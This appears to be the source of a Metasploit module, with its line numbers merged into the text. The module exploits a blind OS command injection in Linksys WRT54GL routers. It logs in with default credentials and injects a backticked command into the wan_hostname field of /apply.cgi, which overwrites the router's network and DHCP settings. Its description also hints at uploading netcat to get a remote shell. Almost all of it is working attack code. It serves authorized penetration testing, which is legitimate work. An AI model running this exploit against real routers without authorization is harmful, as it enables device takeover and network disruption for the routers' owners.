Path: blob/master/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Linksys WRT54GL Remote Command Execution',13'Description' => %q{14Some Linksys Routers are vulnerable to OS Command injection.15You will need credentials to the web interface to access the vulnerable part16of the application.17Default credentials are always a good starting point. admin/admin or admin18and blank password could be a first try.19Note: This is a blind OS command injection vulnerability. This means that20you will not see any output of your command. Try a ping command to your21local system and observe the packets with tcpdump (or equivalent) for a first test.2223Hint: To get a remote shell you could upload a netcat binary and exec it.24WARNING: this module will overwrite network and DHCP configuration.25},26'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],27'License' => MSF_LICENSE,28'References' => [29[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ],30[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],31[ 'EDB', '24202' ],32[ 'BID', '57459' ],33[ 'OSVDB', '89421' ]34],35'DisclosureDate' => '2013-01-18',36'Notes' => {37'Stability' => [CRASH_SAFE],38'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],39'Reliability' => []40}41)42)4344register_options(45[46Opt::RPORT(80),47OptString.new('TARGETURI', [ true, 'PATH to OS Command Injection', '/apply.cgi']),48OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),49OptString.new('HttpPassword', [ false, 'Password to login with', 'password']),50OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),51OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),52OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),53OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),54OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),55OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])56]57)58end5960# If the user configured LANIP, use it. Otherwise, use RHOST.61# NB: This presumes a dotted quad ip address.62def lan_ip63if datastore['LANIP'].to_s.empty?64datastore['RHOST']65else66datastore['LANIP']67end68end6970def run71# setting up some basic variables72uri = datastore['TARGETURI']73user = datastore['HttpUsername']74rhost = datastore['RHOST']75netmask = datastore['NETMASK']76routername = datastore['ROUTER_NAME']77wandomain = datastore['WAN_DOMAIN']78wanmtu = datastore['WAN_MTU']7980ip = lan_ip.split('.')8182if datastore['HttpPassword'].nil?83pass = ''84else85pass = datastore['HttpPassword']86end8788print_status("Trying to login with #{user} / #{pass}")8990begin91res = send_request_cgi({92'uri' => uri,93'method' => 'GET',94'authorization' => basic_auth(user, pass)95})9697unless (res.is_a? Rex::Proto::Http::Response)98vprint_error("#{rhost} not responding")99return :abort100end101102if (res.code == 404)103print_error('Not Found page returned')104return :abort105end106107if [200, 301, 302].include?(res.code)108print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")109else110print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")111return :abort112end113rescue ::Rex::ConnectionError114vprint_error("#{rhost} - Failed to connect to the web server")115return :abort116end117118cmd = datastore['CMD']119120print_status('Sending remote command: ' + cmd)121122# cmd = Rex::Text.uri_encode(datastore['CMD'])123# original Post Request:124# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"125# data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"126# data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"127# data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"128# data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"129# data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"130# data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"131# data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"132133vprint_status("using the following target URL: #{uri}")134135begin136res = send_request_cgi({137'uri' => uri,138'method' => 'POST',139'authorization' => basic_auth(user, pass),140# 'data' => data_cmd,141142'vars_post' => {143'submit_button' => 'index',144'change_action' => '1',145'submit_type' => '1',146'action' => 'Apply',147'now_proto' => 'dhcp',148'daylight_time' => '1',149'lan_ipaddr' => '4',150'wait_time' => '0',151'need_reboot' => '0',152'ui_language' => 'de',153'wan_proto' => 'dhcp',154'router_name' => routername.to_s,155'wan_hostname' => "`#{cmd}`",156'wan_domain' => wandomain.to_s,157'mtu_enable' => '1',158'wan_mtu' => wanmtu.to_s,159'lan_ipaddr_0' => ip[0].to_s,160'lan_ipaddr_1' => ip[1].to_s,161'lan_ipaddr_2' => ip[2].to_s,162'lan_ipaddr_3' => ip[3].to_s,163'lan_netmask' => netmask.to_s,164'lan_proto' => 'dhcp',165'dhcp_check' => '1',166'dhcp_start' => '100',167'dhcp_num' => '50',168'dhcp_lease' => '0',169'wan_dns' => '4',170'wan_dns0_0' => '0',171'wan_dns0_1' => '0',172'wan_dns0_2' => '0',173'wan_dns0_3' => '0',174'wan_dns1_0' => '0',175'wan_dns1_1' => '0',176'wan_dns1_2' => '0',177'wan_dns1_3' => '0',178'wan_dns2_0' => '0',179'wan_dns2_1' => '0',180'wan_dns2_2' => '0',181'wan_dns2_3' => '0',182'wan_wins' => '4',183'wan_wins_0' => '0',184'wan_wins_1' => '0',185'wan_wins_2' => '0',186'wan_wins_3' => '0',187'time_zone' => '-08+1+1',188'_daylight_time' => '1'189}190})191rescue ::Rex::ConnectionError192vprint_error("#{rhost} - Failed to connect to the web server")193return :abort194end195196if res && (res.code == 200)197print_status('Blind Exploitation - Response expected')198else199print_error("Blind Exploitation - Response don't expected")200end201print_status('Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed')202print_status('Blind Exploitation - unknown Exploitation state')203end204end205206207